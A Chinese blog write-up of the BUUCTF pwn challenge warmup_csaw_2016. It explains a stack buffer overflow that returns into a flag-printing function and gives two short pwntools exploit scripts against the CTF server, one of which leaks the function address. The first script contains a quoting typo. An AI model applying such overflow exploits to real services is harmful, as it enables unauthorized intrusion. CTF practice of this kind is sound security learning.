BUUCTF warmup_csaw_2016 1

分析

查看文件信息

file warmup_csaw_2016

查看保护

在这里插入图片描述

64位,这里去了符号, 也就是说少了一些调试信息,不过问题不大
在这里插入图片描述

使用IDA64位, 找到main函数
在这里插入图片描述

可以看到这里会输出 sub_40060D 的地址

在这里插入图片描述
也就是说溢出到这里就拿到flag了

因为没有开启PIE,所以在IDA可以直接看到sub_40060D 的地址
在这里插入图片描述

exp

from pwn import *

context.arch = 'amd64
p = remote('node4.buuoj.cn',25580)
p.sendline(flat(['a'*0x40 , 'a'*8 , 0x40060D]))
p.interactive()

在这里插入图片描述

其他解法

因为这个程序没有PIE保护,所以我们可以通过静态文件得知函数的地址
如果开启PIE后,代码段和数据段的地址在运行时地址随机化了,我们就不能从IDA得到函数地址了
记得这题源代码直接给出了函数地址吗

在这里插入图片描述

泄露函数地址

通过读取该地址作为返回地址从而读取flag

exp

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',27377)

p.recvuntil("WOW:0x")   # 接收到指定字符串停止
fun = int(p.recvline(),16)    # 将16进制的字符串转为数字
p.sendline(flat(['a'*0x40 , 'a'*8 , fun]))

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值